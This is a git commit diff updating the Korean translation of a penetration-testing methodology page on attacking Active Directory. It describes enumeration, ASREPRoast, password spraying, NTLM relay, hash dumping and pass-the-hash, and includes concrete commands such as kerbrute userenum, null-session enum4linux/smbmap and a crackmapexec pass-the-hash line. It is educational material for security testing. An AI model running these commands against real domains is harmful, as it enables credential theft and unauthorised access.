Translated ['src/windows-hardening/active-directory-methodology/README.m

This commit is contained in:
Translator 2025-08-10 16:18:14 +00:00
parent 322dd00f74
commit 9b1ae45d84
3 changed files with 169 additions and 61 deletions

View File

@ -263,6 +263,7 @@
- [AD DNS Records](windows-hardening/active-directory-methodology/ad-dns-records.md)
- [Adws Enumeration](windows-hardening/active-directory-methodology/adws-enumeration.md)
- [ASREPRoast](windows-hardening/active-directory-methodology/asreproast.md)
- [Badsuccessor Dmsa Migration Abuse](windows-hardening/active-directory-methodology/badsuccessor-dmsa-migration-abuse.md)
- [BloodHound & Other AD Enum Tools](windows-hardening/active-directory-methodology/bloodhound.md)
- [Constrained Delegation](windows-hardening/active-directory-methodology/constrained-delegation.md)
- [Custom SSP](windows-hardening/active-directory-methodology/custom-ssp.md)

View File

@ -4,21 +4,21 @@
## Basic overview
**Active Directory**는 **네트워크 관리자**가 **도메인**, **사용자**, 및 **객체**를 효율적으로 생성하고 관리할 수 있도록 하는 기본 기술로 작동합니다. 이는 확장 가능하도록 설계되어, 많은 수의 사용자를 관리 가능한 **그룹** 및 **하위 그룹**으로 조직할 수 있으며, 다양한 수준에서 **접근 권한**을 제어합니다.
**Active Directory**는 **네트워크 관리자**가 **도메인**, **사용자**, 및 **객체**를 효율적으로 생성하고 관리할 수 있도록 하는 기본 기술로 작동합니다. 이는 확장 가능하도록 설계되어, 많은 수의 사용자를 관리 가능한 **그룹** 및 **하위 그룹**으로 조직하고, 다양한 수준에서 **접근 권한**을 제어할 수 있게 합니다.
**Active Directory**의 구조는 세 가지 주요 계층으로 구성됩니다: **도메인**, **트리**, 및 **포리스트**. **도메인**은 공통 데이터베이스를 공유하는 **사용자** 또는 **장치**와 같은 객체의 모음입니다. **트리**는 공유 구조로 연결된 이러한 도메인 그룹이며, **포리스트**는 여러 트리의 모음을 나타내며, **신뢰 관계**를 통해 상호 연결되어 조직 구조의 최상위 계층을 형성합니다. 각 수준에서 특정 **접근** 및 **통신 권한**을 지정할 수 있습니다.
**Active Directory**의 구조는 세 가지 주요 계층으로 구성됩니다: **도메인**, **트리**, 및 **포리스트**. **도메인**은 공통 데이터베이스를 공유하는 **사용자** 또는 **장치**와 같은 객체의 집합을 포함합니다. **트리**는 공유 구조로 연결된 이러한 도메인 그룹이며, **포리스트**는 여러 트리의 집합을 나타내며, **신뢰 관계**를 통해 상호 연결되어 조직 구조의 최상위 계층을 형성합니다. 각 수준에서 특정 **접근** 및 **통신 권한**을 지정할 수 있습니다.
**Active Directory**의 주요 개념은 다음과 같습니다:
1. **디렉토리** Active Directory 객체와 관련된 모든 정보를 보관합니다.
1. **디렉토리** Active Directory 객체와 관련된 모든 정보를 저장합니다.
2. **객체** 디렉토리 내의 엔티티를 나타내며, **사용자**, **그룹**, 또는 **공유 폴더**를 포함합니다.
3. **도메인** 디렉토리 객체의 컨테이너 역할을 하며, 여러 도메인이 **포리스트** 내에서 공존할 수 있으며, 각 도메인은 자체 객체 모음을 유지합니다.
3. **도메인** 디렉토리 객체의 컨테이너 역할을 하며, 여러 도메인이 **포리스트** 내에서 공존할 수 있으며, 각 도메인은 자체 객체 집합을 유지합니다.
4. **트리** 공통 루트 도메인을 공유하는 도메인 그룹입니다.
5. **포리스트** Active Directory의 조직 구조의 정점으로, 여러 트리로 구성되며 이들 간에 **신뢰 관계**가 있습니다.
**Active Directory Domain Services (AD DS)**는 네트워크 내에서 중앙 집중식 관리 및 통신을 위한 다양한 서비스를 포함합니다. 이러한 서비스는 다음과 같습니다:
1. **도메인 서비스** 데이터 저장소를 중앙 집중화하고 **사용자**와 **도메인** 간의 상호작용을 관리하며, **인증****검색** 기능을 포함합니다.
1. **도메인 서비스** 데이터 저장 중앙 집중화하고 **사용자**와 **도메인** 간의 상호작용을 관리하며, **인증****검색** 기능을 포함합니다.
2. **인증서 서비스** 안전한 **디지털 인증서**의 생성, 배포 및 관리를 감독합니다.
3. **경량 디렉토리 서비스** **LDAP 프로토콜**을 통해 디렉토리 지원 애플리케이션을 지원합니다.
4. **디렉토리 연합 서비스** 여러 웹 애플리케이션에서 단일 세션으로 사용자를 인증할 수 있는 **싱글 사인온** 기능을 제공합니다.
@ -29,7 +29,7 @@
### **Kerberos Authentication**
AD를 **공격하는 방법**을 배우려면 **Kerberos 인증 프로세스**를 정말 잘 **이해**해야 합니다.\
AD를 **공격하는 방법**을 배우려면 **Kerberos 인증 프로세스**를 정말 잘 **이해해야** 합니다.\
[**작동 방식을 아직 모른다면 이 페이지를 읽어보세요.**](kerberos-authentication.md)
## Cheat Sheet
@ -52,7 +52,7 @@ AD 환경에 접근할 수 있지만 자격 증명/세션이 없는 경우 다
- `enum4linux -a -u "" -p "" <DC IP> && enum4linux -a -u "guest" -p "" <DC IP>`
- `smbmap -u "" -p "" -P 445 -H <DC IP> && smbmap -u "guest" -p "" -P 445 -H <DC IP>`
- `smbclient -U '%' -L //<DC IP> && smbclient -U 'guest%' -L //`
- SMB 서버를 열거하는 방법에 대한 더 자세한 가이드는 여기에서 확인할 수 있습니다:
- SMB 서버를 열거하는 방법에 대한 더 자세한 가이드는 여기에서 찾을 수 있습니다:
{{#ref}}
../../network-services-pentesting/pentesting-smb/
@ -60,7 +60,7 @@ AD 환경에 접근할 수 있지만 자격 증명/세션이 없는 경우 다
- **Ldap 열거**
- `nmap -n -sV --script "ldap* and not brute" -p 389 <DC IP>`
- LDAP을 열거하는 방법에 대한 더 자세한 가이드는 여기에서 확인할 수 있습니다 (특히 **익명 접근**에 주의하세요):
- LDAP을 열거하는 방법에 대한 더 자세한 가이드는 여기에서 찾을 수 있습니다 (특히 **익명 접근**에 주의하세요):
{{#ref}}
../../network-services-pentesting/pentesting-ldap.md
@ -69,7 +69,7 @@ AD 환경에 접근할 수 있지만 자격 증명/세션이 없는 경우 다
- **네트워크 오염**
- [**Responder로 서비스를 가장하여 자격 증명 수집**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
- [**릴레이 공격을 악용하여 호스트에 접근**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)
- [**악성 UPnP 서비스 노출로 자격 증명 수집**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)
- [**악성 UPnP 서비스를 노출하여 자격 증명 수집**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)
- [**OSINT**](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/index.html):
- 내부 문서, 소셜 미디어, 서비스(주로 웹)에서 사용자 이름/이름을 추출하고 공개적으로 이용 가능한 자료에서도 추출합니다.
- 회사 직원의 전체 이름을 찾으면 다양한 AD **사용자 이름 규칙**을 시도해 볼 수 있습니다 (**[이것을 읽어보세요](https://activedirectorypro.com/active-directory-user-naming-convention/)**). 가장 일반적인 규칙은: _NameSurname_, _Name.Surname_, _NamSur_ (각각 3글자), _Nam.Sur_, _NSurname_, _N.Surname_, _SurnameName_, _Surname.Name_, _SurnameN_, _Surname.N_, 3 _무작위 문자와 3 무작위 숫자_ (abc123)입니다.
@ -80,8 +80,8 @@ AD 환경에 접근할 수 있지만 자격 증명/세션이 없는 경우 다
### User enumeration
- **익명 SMB/LDAP 열거:** [**펜테스팅 SMB**](../../network-services-pentesting/pentesting-smb/index.html) 및 [**펜테스팅 LDAP**](../../network-services-pentesting/pentesting-ldap.md) 페이지를 확인하세요.
- **Kerbrute 열거**: **유효하지 않은 사용자 이름이 요청되면** 서버는 **Kerberos 오류** 코드 _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_를 사용하여 응답하며, 이를 통해 사용자 이름이 유효하지 않음을 확인할 수 있습니다. **유효한 사용자 이름**은 **AS-REP** 응답에서 **TGT**를 유도하거나 _KRB5KDC_ERR_PREAUTH_REQUIRED_ 오류를 발생시켜 사용자가 사전 인증을 수행해야 함을 나타냅니다.
- **MS-NRPC에 대한 인증 없음**: 도메인 컨트롤러의 MS-NRPC(넷로곤) 인터페이스에 대해 auth-level = 1(인증 없음)을 사용합니다. 이 방법은 MS-NRPC 인터페이스에 바인딩한 후 `DsrGetDcNameEx2` 함수를 호출하여 자격 증명 없이 사용자 또는 컴퓨터가 존재하는지 확인합니다. [NauthNRPC](https://github.com/sud0Ru/NauthNRPC) 도구는 이러한 유형의 열거를 구현합니다. 연구 결과는 [여기](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2024/05/22190247/A-journey-into-forgotten-Null-Session-and-MS-RPC-interfaces.pdf)에서 확인할 수 있습니다.
- **Kerbrute 열거**: **유효하지 않은 사용자 이름이 요청되면** 서버는 **Kerberos 오류** 코드 _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_를 사용하여 응답하며, 이를 통해 사용자 이름이 유효하지 않음을 확인할 수 있습니다. **유효한 사용자 이름**은 **AS-REP** 응답에서 **TGT**를 유도하거나 _KRB5KDC_ERR_PREAUTH_REQUIRED_ 오류를 유도하여 사용자가 사전 인증을 수행해야 함을 나타냅니다.
- **MS-NRPC에 대한 인증 없음**: 도메인 컨트롤러의 MS-NRPC(넷로곤) 인터페이스에 대해 auth-level = 1(인증 없음)을 사용합니다. 이 방법은 MS-NRPC 인터페이스에 바인딩한 후 `DsrGetDcNameEx2` 함수를 호출하여 자격 증명 없이 사용자 또는 컴퓨터가 존재하는지 확인합니다. [NauthNRPC](https://github.com/sud0Ru/NauthNRPC) 도구는 이러한 유형의 열거를 구현합니다. 연구 결과는 [여기](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2024/05/22190247/A-journey-into-forgotten-Null-Session-and-MS-RPC-interfaces.pdf)에서 찾을 수 있습니다.
```bash
./kerbrute_linux_amd64 userenum -d lab.ropnop.com --dc 10.10.10.10 usernames.txt #From https://github.com/ropnop/kerbrute/releases
@ -110,13 +110,13 @@ Get-GlobalAddressList -ExchHostname [ip] -UserName [domain]\[username] -Password
> [!WARNING]
> 사용자 이름 목록은 [**이 github repo**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names)와 이곳 ([**statistically-likely-usernames**](https://github.com/insidetrust/statistically-likely-usernames))에서 찾을 수 있습니다.
>
> 그러나, 이 전에 수행했어야 할 정찰 단계에서 **회사의 직원 이름**을 알고 있어야 합니다. 이름과 성을 가지고 [**namemash.py**](https://gist.github.com/superkojiman/11076951) 스크립트를 사용하여 잠재적인 유효 사용자 이름을 생성할 수 있습니다.
> 그러나 이 전에 수행했어야 할 정찰 단계에서 **회사의 직원 이름**을 알고 있어야 합니다. 이름과 성이 있으면 [**namemash.py**](https://gist.github.com/superkojiman/11076951) 스크립트를 사용하여 잠재적인 유효 사용자 이름을 생성할 수 있습니다.
### 하나 이상의 사용자 이름 알기
좋습니다, 유효한 사용자 이름이 있지만 비밀번호가 없는 경우... 그러면 시도해 보세요:
- [**ASREPRoast**](asreproast.md): 사용자가 _DONT_REQ_PREAUTH_ 속성이 **없다면**, 해당 사용자에 대한 **AS_REP 메시지를 요청**할 수 있으며, 이 메시지는 사용자의 비밀번호 파생으로 암호화된 데이터를 포함합니다.
- [**ASREPRoast**](asreproast.md): 사용자가 _DONT_REQ_PREAUTH_ 속성이 **없다면**, 해당 사용자에 대한 **AS_REP 메시지**를 요청할 수 있으며, 이 메시지는 사용자의 비밀번호 파생으로 암호화된 데이터를 포함합니다.
- [**Password Spraying**](password-spraying.md): 발견된 각 사용자에 대해 가장 **일반적인 비밀번호**를 시도해 보세요. 아마도 어떤 사용자가 나쁜 비밀번호를 사용하고 있을 것입니다 (비밀번호 정책을 염두에 두세요!).
- OWA 서버를 **스프레이**하여 사용자 메일 서버에 접근을 시도할 수도 있습니다.
@ -134,19 +134,19 @@ password-spraying.md
### NTLM 릴레이
액티브 디렉토리를 열거하는 데 성공했다면, **더 많은 이메일과 네트워크에 대한 더 나은 이해**를 갖게 될 것입니다. NTLM [**릴레이 공격**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)을 강제로 수행하여 AD 환경에 접근할 수 있을지도 모릅니다.
활성 디렉토리를 열거하는 데 성공했다면 **더 많은 이메일과 네트워크에 대한 더 나은 이해**를 갖게 될 것입니다. NTLM [**릴레이 공격**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)을 강제로 수행하여 AD 환경에 접근할 수 있을 것입니다.
### NTLM 자격 증명 훔치기
**null 또는 guest 사용자**로 다른 PC나 공유에 **접근**할 수 있다면, **파일을 배치**할 수 있습니다 (예: SCF 파일). 이 파일이 접근되면 **당신에 대한 NTLM 인증을 트리거**하여 **NTLM 챌린지를 훔칠 수 있습니다**:
**null 또는 guest 사용자**로 다른 PC나 공유에 **접근**할 수 있다면, **파일**(예: SCF 파일)**배치**할 수 있습니다. 이 파일이 접근되면 **당신에 대한 NTLM 인증을 트리거**하여 **NTLM 챌린지**를 훔칠 수 있습니다:
{{#ref}}
../ntlm/places-to-steal-ntlm-creds.md
{{#endref}}
## 자격 증명/세션으로 액티브 디렉토리 열거하기
## 자격 증명/세션으로 활성 디렉토리 열거하기
이 단계에서는 **유효한 도메인 계정의 자격 증명이나 세션을 손상시켜야 합니다.** 유효한 자격 증명이나 도메인 사용자로서의 쉘이 있다면, **이전에 제공된 옵션이 여전히 다른 사용자를 손상시키는 옵션임을 기억해야 합니다.**
이 단계에서는 **유효한 도메인 계정의 자격 증명이나 세션을 손상시켜야** 합니다. 유효한 자격 증명이나 도메인 사용자로서의 쉘이 있다면, **이전에 제공된 옵션이 다른 사용자를 손상시키는 옵션으로 여전히 유효하다는 것을 기억해야 합니다.**
인증된 열거를 시작하기 전에 **Kerberos 더블 홉 문제**가 무엇인지 알아야 합니다.
@ -156,27 +156,27 @@ kerberos-double-hop-problem.md
### 열거
계정을 손상시키는 것은 **전체 도메인을 손상시키기 위한 큰 단계**입니다. 이제 **액티브 디렉토리 열거**를 시작할 수 있습니다:
계정을 손상시키는 것은 **전체 도메인을 손상시키기 위한 큰 단계**입니다. 이제 **Active Directory 열거**를 시작할 수 있습니다:
[**ASREPRoast**](asreproast.md)와 관련하여, 이제 모든 가능한 취약한 사용자를 찾을 수 있으며, [**Password Spraying**](password-spraying.md)와 관련하여 손상된 계정의 비밀번호, 빈 비밀번호 및 새로운 유망한 비밀번호를 시도할 수 있습니다.
[**ASREPRoast**](asreproast.md)와 관련하여 이제 모든 가능한 취약한 사용자를 찾을 수 있으며, [**Password Spraying**](password-spraying.md)와 관련하여 손상된 계정의 비밀번호, 빈 비밀번호 및 새로운 유망한 비밀번호를 시도할 수 있습니다.
- [**CMD를 사용하여 기본 정찰 수행**](../basic-cmd-for-pentesters.md#domain-info)
- [**정찰을 위한 PowerShell 사용**](../basic-powershell-for-pentesters/index.html)도 가능합니다. 이는 더 은밀할 것입니다.
- [**PowerView 사용**](../basic-powershell-for-pentesters/powerview.md)하여 더 자세한 정보를 추출할 수 있습니다.
- 액티브 디렉토리에서 정찰을 위한 또 다른 훌륭한 도구는 [**BloodHound**](bloodhound.md)입니다. 이는 **그리 은밀하지 않습니다** (사용하는 수집 방법에 따라 다름), 그러나 **그것에 대해 신경 쓰지 않는다면** 꼭 시도해 보세요. 사용자가 RDP할 수 있는 위치를 찾고, 다른 그룹으로 가는 경로를 찾는 등의 작업을 할 수 있습니다.
- [**powershell을 사용하여 정찰**](../basic-powershell-for-pentesters/index.html)할 수도 있으며, 이는 더 은밀합니다.
- [**powerview 사용**](../basic-powershell-for-pentesters/powerview.md)하여 더 자세한 정보를 추출할 수 있습니다.
- 활성 디렉토리에서 정찰을 위한 또 다른 훌륭한 도구는 [**BloodHound**](bloodhound.md)입니다. 이는 **그리 은밀하지 않지만** (사용하는 수집 방법에 따라 다름), **그것에 대해 신경 쓰지 않는다면** 꼭 시도해 보세요. 사용자가 RDP할 수 있는 위치, 다른 그룹으로의 경로 등을 찾으세요.
- **기타 자동화된 AD 열거 도구는:** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**.**
- [**AD의 DNS 레코드**](ad-dns-records.md)도 흥미로운 정보를 포함할 수 있습니다.
- 디렉토리를 열거하는 데 사용할 수 있는 **GUI 도구**는 **SysInternal** Suite의 **AdExplorer.exe**입니다.
- **ldapsearch**를 사용하여 LDAP 데이터베이스에서 _userPassword__unixUserPassword_ 필드에서 자격 증명을 찾거나 _Description_을 검색할 수 있습니다. cf. [PayloadsAllTheThings의 AD 사용자 주석에서 비밀번호](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment)에서 다른 방법을 확인하세요.
- **Linux**를 사용하는 경우, [**pywerview**](https://github.com/the-useless-one/pywerview)를 사용하여 도메인을 열거할 수 있습니다.
- 자동화 도구로는:
- **ldapsearch**를 사용하여 LDAP 데이터베이스에서 _userPassword__unixUserPassword_ 필드에서 자격 증명을 찾거나 _Description_을 검색할 수 있습니다. cf. [PayloadsAllTheThings의 AD 사용자 주석에서 비밀번호](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment)에서 다른 방법을 확인하세요.
- **Linux**를 사용하는 경우 [**pywerview**](https://github.com/the-useless-one/pywerview)를 사용하여 도메인을 열거할 수 있습니다.
- 자동화 도구를 시도할 수도 있습니다:
- [**tomcarver16/ADSearch**](https://github.com/tomcarver16/ADSearch)
- [**61106960/adPEAS**](https://github.com/61106960/adPEAS)
- **모든 도메인 사용자 추출하기**
Windows에서 모든 도메인 사용자 이름을 얻는 것은 매우 쉽습니다 (`net user /domain`, `Get-DomainUser` 또는 `wmic useraccount get name,sid`). Linux에서는 `GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username` 또는 `enum4linux -a -u "user" -p "password" <DC IP>`를 사용할 수 있습니다.
Windows에서 도메인 사용자 이름을 얻는 것은 매우 쉽습니다 (`net user /domain`, `Get-DomainUser` 또는 `wmic useraccount get name,sid`). Linux에서는 `GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username` 또는 `enum4linux -a -u "user" -p "password" <DC IP>`를 사용할 수 있습니다.
> 이 열거 섹션이 작아 보일 수 있지만, 이는 모든 것 중에서 가장 중요한 부분입니다. 링크를 확인하세요 (주로 cmd, powershell, powerview 및 BloodHound 링크), 도메인을 열거하는 방법을 배우고 편안해질 때까지 연습하세요. 평가 중에는 DA로 가는 길을 찾거나 아무것도 할 수 없다는 결정을 내리는 중요한 순간이 될 것입니다.
> 이 열거 섹션이 작아 보일 수 있지만, 이는 모든 것 중에서 가장 중요한 부분입니다. 링크를 확인하세요 (주로 cmd, powershell, powerview 및 BloodHound 링크), 도메인을 열거하는 방법을 배우고 편안해질 때까지 연습하세요. 평가 중에는 DA로 가는 길을 찾거나 아무것도 할 수 없다고 결정하는 중요한 순간이 될 것입니다.
### Kerberoast
@ -194,13 +194,13 @@ kerberoast.md
### 로컬 권한 상승
정상 도메인 사용자로서 자격 증명이나 세션을 손상시켰고, 이 사용자로 **도메인 내의 어떤 기계에 접근**할 수 있다면, **로컬에서 권한을 상승시키고 자격 증명을 훔치기 위한 방법을 찾아야 합니다**. 이는 로컬 관리자 권한이 있어야만 **다른 사용자의 해시를 메모리(LSASS)와 로컬(SAM)에서 덤프할 수 있기 때문입니다.**
정상 도메인 사용자로서 자격 증명이나 세션을 손상시켰고, 이 사용자로 **도메인 내의 어떤 기계에 접근**할 수 있다면, **로컬에서 권한을 상승시키고 자격 증명을 찾는 방법을 찾아야** 합니다. 이는 로컬 관리자 권한이 있어야만 **다른 사용자의 해시를 메모리(LSASS)와 로컬(SAM)에서 덤프할 수 있기 때문입니다.**
이 책에는 [**Windows에서의 로컬 권한 상승**](../windows-local-privilege-escalation/index.html)에 대한 완전한 페이지와 [**체크리스트**](../checklist-windows-privilege-escalation.md)가 있습니다. 또한, [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)를 사용하는 것을 잊지 마세요.
이 책에는 [**Windows에서의 로컬 권한 상승**](../windows-local-privilege-escalation/index.html)에 대한 완전한 페이지와 [**체크리스트**](../checklist-windows-privilege-escalation.md)가 있습니다. 또한 [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)를 사용하는 것을 잊지 마세요.
### 현재 세션 티켓
예상치 못한 리소스에 접근할 수 있는 **티켓**을 현재 사용자에서 찾는 것은 매우 **가능성이 낮습니다**, 하지만 확인해 볼 수 있습니다:
현재 사용자에게 **예상치 못한 리소스에 접근할 수 있는 권한을 부여하는** **티켓**을 찾는 것은 매우 **가능성이 낮지만**, 확인해 볼 수 있습니다:
```bash
## List all tickets (if not admin, only current user tickets)
.\Rubeus.exe triage
@ -210,7 +210,7 @@ kerberoast.md
```
### NTLM Relay
활성 디렉토리를 열거하는 데 성공했다면 **더 많은 이메일과 네트워크에 대한 더 나은 이해**를 갖게 될 것입니다. NTLM [**릴레이 공격**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)**을 강제할 수 있을지도 모릅니다.**
활성 디렉토리를 열거하는 데 성공했다면 **더 많은 이메일과 네트워크에 대한 더 나은 이해**를 갖게 될 것입니다. NTLM [**릴레이 공격**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)**을 강제로 수행할 수 있을지도 모릅니다.**
### 컴퓨터 공유에서 자격 증명 찾기 | SMB 공유
@ -240,7 +240,7 @@ printnightmare.md
### 해시 추출
운 좋게도 [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) 포함하여 릴레이, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [로컬에서 권한 상승](../windows-local-privilege-escalation/index.html) 등을 통해 **로컬 관리자** 계정을 **손상시키는 데 성공했다면**.\
운 좋게도 [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) 및 릴레이를 포함하여 [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [로컬에서 권한 상승](../windows-local-privilege-escalation/index.html) 등을 통해 **로컬 관리자** 계정을 **손상시키는 데 성공했다면**.\
그런 다음, 메모리와 로컬에서 모든 해시를 덤프할 시간입니다.\
[**해시를 얻는 다양한 방법에 대한 이 페이지를 읽어보세요.**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
@ -252,7 +252,7 @@ printnightmare.md
### 해시 우회/키 전달
이 공격은 **사용자 NTLM 해시를 사용하여 Kerberos 티켓을 요청하는** 것을 목표로 하며, 일반적인 NTLM 프로토콜을 통한 해시 전달의 대안입니다. 따라서, NTLM 프로토콜이 비활성화되고 **Kerberos만 인증 프로토콜로 허용되는 네트워크에서 특히 유용할 수 있습니다**.
이 공격은 **사용자 NTLM 해시를 사용하여 Kerberos 티켓을 요청하는** 것을 목표로 하며, 일반적인 NTLM 프로토콜을 통한 해시 전달의 대안입니다. 따라서, NTLM 프로토콜이 비활성화되고 **Kerberos만 인증 프로토콜로 허용되는** 네트워크에서 특히 **유용할 수 있습니다**.
{{#ref}}
over-pass-the-hash-pass-the-key.md
@ -275,12 +275,12 @@ pass-the-ticket.md
crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep +
```
> [!WARNING]
> 이 방법은 상당히 **시끄럽고** **LAPS**가 이를 **완화**할 것입니다.
> 이 방법은 상당히 **시끄럽고** **LAPS**가 이를 **완화**할 수 있습니다.
### MSSQL 남용 및 신뢰 링크
사용자가 **MSSQL 인스턴스에 접근할 수 있는 권한**이 있다면, 그는 MSSQL 호스트에서 **명령을 실행**하거나 (SA로 실행 중인 경우), NetNTLM **해시**를 **탈취**하거나 심지어 **중계** **공격**을 수행할 수 있습니다.\
또한, MSSQL 인스턴스가 다른 MSSQL 인스턴스에 의해 신뢰받는 경우(데이터베이스 링크). 사용자가 신뢰된 데이터베이스에 대한 권한을 가지고 있다면, 그는 **신뢰 관계를 사용하여 다른 인스턴스에서도 쿼리를 실행할 수 있습니다**. 이러한 신뢰는 연결될 수 있으며, 어느 시점에서 사용자는 명령을 실행할 수 있는 잘못 구성된 데이터베이스를 찾을 수 있습니다.\
사용자가 **MSSQL 인스턴스에 접근할 수 있는 권한**이 있다면, 그는 MSSQL 호스트에서 **명령을 실행**하거나 (SA로 실행 중인 경우), NetNTLM **해시**를 **탈취**하거나 심지어 **릴레이** **공격**을 수행할 수 있습니다.\
또한, MSSQL 인스턴스가 다른 MSSQL 인스턴스에 의해 신뢰받는 경우(데이터베이스 링크). 사용자가 신뢰된 데이터베이스에 대한 권한을 가지고 있다면, 그는 **신뢰 관계를 사용하여 다른 인스턴스에서도 쿼리를 실행할 수 있습니다**. 이러한 신뢰는 연결될 수 있으며, 사용자가 명령을 실행할 수 있는 잘못 구성된 데이터베이스를 찾을 수 있는 시점이 있을 수 있습니다.\
**데이터베이스 간의 링크는 포리스트 신뢰를 넘어 작동합니다.**
{{#ref}}
@ -300,7 +300,7 @@ unconstrained-delegation.md
### 제약된 위임
사용자 또는 컴퓨터가 "제약된 위임"을 허용받으면, **컴퓨터의 일부 서비스에 접근하기 위해 어떤 사용자를 가장할 수 있습니다**.\
그런 다음, 이 사용자/컴퓨터의 **해시를 손상시키면** **모든 사용자를 가장할 수 있습니다** (도메인 관리자 포함) 서비스에 접근하기 위해.
그런 다음, 이 사용자/컴퓨터의 **해시를 손상시키면** **모든 사용자를 가장할 수 있습니다** (도메인 관리자 포함) 특정 서비스에 접근할 수 있습니다.
{{#ref}}
constrained-delegation.md
@ -341,7 +341,7 @@ rdp-sessions-abuse.md
### LAPS
**LAPS**는 도메인에 가입된 컴퓨터에서 **로컬 관리자 비밀번호**를 관리하는 시스템을 제공하여, 비밀번호가 **무작위화**, 고유하며 자주 **변경**되도록 보장합니다. 이러한 비밀번호는 Active Directory에 저장되며, 권한이 있는 사용자만 ACL을 통해 접근할 수 있습니다. 이러한 비밀번호에 접근할 수 있는 충분한 권한이 있으면, 다른 컴퓨터로 피벗하는 것이 가능해집니다.
**LAPS**는 도메인에 가입된 컴퓨터에서 **로컬 관리자 비밀번호**를 관리하는 시스템을 제공하여, 비밀번호가 **무작위화**, 고유하며 자주 **변경**되도록 보장합니다. 이러한 비밀번호는 Active Directory에 저장되며, 권한이 있는 사용자만 ACL을 통해 접근할 수 있습니다. 이러한 비밀번호에 접근할 수 있는 충분한 권한이 있으면, 다른 컴퓨터로 피벗할 수 있습니다.
{{#ref}}
laps.md
@ -440,7 +440,7 @@ ad-certificates/domain-persistence.md
### AdminSDHolder 그룹
Active Directory의 **AdminSDHolder** 객체는 **특권 그룹**(예: 도메인 관리자 및 엔터프라이즈 관리자)의 보안을 보장하기 위해 이러한 그룹에 표준 **액세스 제어 목록(ACL)**을 적용하여 무단 변경을 방지합니다. 그러나 이 기능은 악용될 수 있습니다. 공격자가 AdminSDHolder의 ACL을 수정하여 일반 사용자에게 전체 액세스를 부여하면, 해당 사용자는 모든 특권 그룹에 대한 광범위한 제어를 얻게 됩니다. 이 보안 조치는 보호를 위해 설계되었지만, 면밀히 모니터링되지 않으면 불필요한 접근을 허용할 수 있습니다.
Active Directory의 **AdminSDHolder** 객체는 **특권 그룹**(예: 도메인 관리자 및 엔터프라이즈 관리자)의 보안을 보장하기 위해 이러한 그룹에 표준 **액세스 제어 목록(ACL)**을 적용하여 무단 변경을 방지합니다. 그러나 이 기능은 악용될 수 있습니다. 공격자가 AdminSDHolder의 ACL을 수정하여 일반 사용자에게 전체 액세스를 부여하면, 해당 사용자는 모든 특권 그룹에 대한 광범위한 제어를 얻게 됩니다. 이 보안 조치는 보호를 위한 것이지만, 면밀히 모니터링되지 않으면 불필요한 접근을 허용할 수 있습니다.
[**AdminDSHolder 그룹에 대한 더 많은 정보는 여기에서 확인할 수 있습니다.**](privileged-groups-and-token-privileges.md#adminsdholder-group)
@ -454,7 +454,7 @@ dsrm-credentials.md
### ACL 지속성
특정 도메인 객체에 대해 **사용자에게** **특별 권한**을 부여하여 사용자가 **미래에 권한을 상승시킬 수 있도록** 할 수 있습니다.
특정 도메인 객체에 대해 **사용자에게** **특별 권한**을 부여하여 사용자가 **향후 권한을 상승시킬 수 있도록** 할 수 있습니다.
{{#ref}}
acl-persistence-abuse/
@ -509,23 +509,23 @@ Microsoft는 **포리스트**를 보안 경계로 간주합니다. 이는 **단
### 기본 정보
